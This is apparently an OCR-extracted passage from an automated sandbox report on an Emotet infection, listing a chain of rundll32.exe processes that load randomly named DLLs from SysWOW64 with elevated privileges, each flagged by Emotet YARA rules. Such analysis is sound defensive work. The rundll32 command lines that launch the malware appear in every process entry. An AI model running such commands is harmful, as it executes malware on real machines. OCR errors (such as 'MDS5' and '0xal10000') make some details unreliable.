Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gaygjpva\lysvakhm.scw',Cont

rol_RunDLL

Imagebase: 0xal10000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2108263450.0000000000321000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000A.00000002.2108169058.00000000001A0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities
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Source

File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 2476 Parent PID: 2868

General

Start time: 17:00:50

Start date: 13/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xhfpu\newi.giu',Control_Ru

nDLL

Imagebase: 0xa10000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2110363600.0000000000241000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000B.00000002.2110305990.0000000000220000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2844 Parent PID: 2476

General

Start time: 17:00:51

Start date: 13/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yytiwgytsocbk\gpzklkwgavfq

.ceg',Control_RunDLL

Imagebase: 0xal10000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2112161307.0000000000280000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000C.00000002.2112230608.00000000002E1000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities
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Source

File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 1532 Parent PID: 2844

General

Start time: 17:00:52

Start date: 13/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Imgrvegnw\xbxcngor.sdx',Co

ntrol_RunDLL

Imagebase: 0xa10000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2113681102.0000000000170000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000D.00000002.2113994416.0000000000321000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2996 Parent PID: 1532

General

Start time: 17:00:53

Start date: 13/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ssritkfxztntpmvd\impzxzazv

xmnbpe.sxx',Control_RunDLL

Imagebase: 0xal10000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.2114929747.0000000000180000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000E.00000002.2114979695.00000000001A1000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate

Analysis Process: rundll32.exe PID: 3060 Parent PID: 2996
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General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

17:00:53

13/01/2021
C:\Windows\SysWOW64\rundll32.exe
true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Mtqaaznoxelwda\u
iusvmdbvgkdi.arh',Control_RunDLL

0xa10000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000F.00000002.2116714094.0000000000190000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000F.00000002.2116776423.00000000001B1000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate
Analysis Process: rundll32.exe PID: 2240 Parent PID: 3060
General
Start time: 17:00:54
Start date: 13/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rpamxseaazc\tejhffkmgs.jfm

*,Control_RunDLL

0xa10000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000010.00000002.2118851629.0000000000211000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000010.00000002.2118784956.00000000001F0000.00000040.00000001.sdmp,
Author: Joe Security

Analysis Process: rundll32.exe PID: 1552 Parent PID: 2240

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

17:00:55
13/01/2021
C:\Windows\SysWOW64\rundll32.exe

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\PIxgoxjb\fxypucw.ewq',Cont

rol_RunDLL

0xa10000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000011.00000002.2122500336.0000000000201000.00000020.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000011.00000002.2121184937.0000000000120000.00000040.00000001.sdmp,
Author: Joe Security

Analysis Process: rundll32.exe PID: 1336 Parent PID: 1552

General

Start time: 17:00:56

Start date: 13/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zybnxerarhwdt\tjsmjxgxfmoi

.jrk',Control_RunDLL

Imagebase: 0xal10000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000012.00000002.2353484979.00000000001E0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

00000012.00000002.2353516556.0000000000221000.00000020.00000001.sdmp,
Author: Joe Security

Disassembly

Code Analysis
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